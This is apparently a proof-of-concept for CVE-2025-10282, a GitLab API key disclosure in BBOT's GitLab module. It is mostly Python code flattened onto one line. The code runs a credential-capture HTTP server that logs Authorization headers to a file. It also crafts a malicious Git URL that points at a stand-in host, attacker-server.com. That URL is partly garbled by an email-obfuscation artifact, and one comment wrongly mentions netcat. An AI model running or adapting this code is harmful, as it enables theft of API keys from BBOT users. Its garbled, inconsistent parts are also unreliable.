CVE-2025-10282 BBOT GitLab模块GitLab API密钥泄露漏洞

# CVE-2025-10282 PoC - BBOT GitLab API Key Disclosure # The vulnerability is triggered when BBOT processes a maliciously formatted Git URL # in its GitLab module, causing the API key to be sent to an attacker-controlled server. # Step 1: Set up an attacker-controlled HTTP listener to capture credentials # Using netcat to listen for incoming requests import http.server import socketserver import sys class CredentialCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Capture the Authorization header which may contain the GitLab API key auth_header = self.headers.get('Authorization', 'Not found') print(f"[+] Captured request to: {self.path}") print(f"[+] Authorization header: {auth_header}") # Log the captured credentials with open("captured_creds.txt", "a") as f: f.write(f"Path: {self.path}\n") f.write(f"Authorization: {auth_header}\n\n") self.send_response(200) self.end_headers() self.wfile.write(b"OK") # Step 2: Craft a malicious Git URL that redirects BBOT's GitLab module # to send API key to attacker server # Example malicious URL format: # http://attacker-server.com/path?redirect=gitlab.target.com # Or using URL with embedded credentials redirect malicious_git_url = "http://[email protected]/group/project.git" # Step 3: When the victim runs BBOT with this URL, the GitLab module # will send the API key to attacker-server.com print(f"[*] Malicious Git URL: {malicious_git_url}") print("[*] Start listener on port 80 to capture credentials...") # Start the capture server PORT = 80 with socketserver.TCPServer(("", PORT), CredentialCaptureHandler) as httpd: print(f"[+] Listening on port {PORT}...") httpd.serve_forever()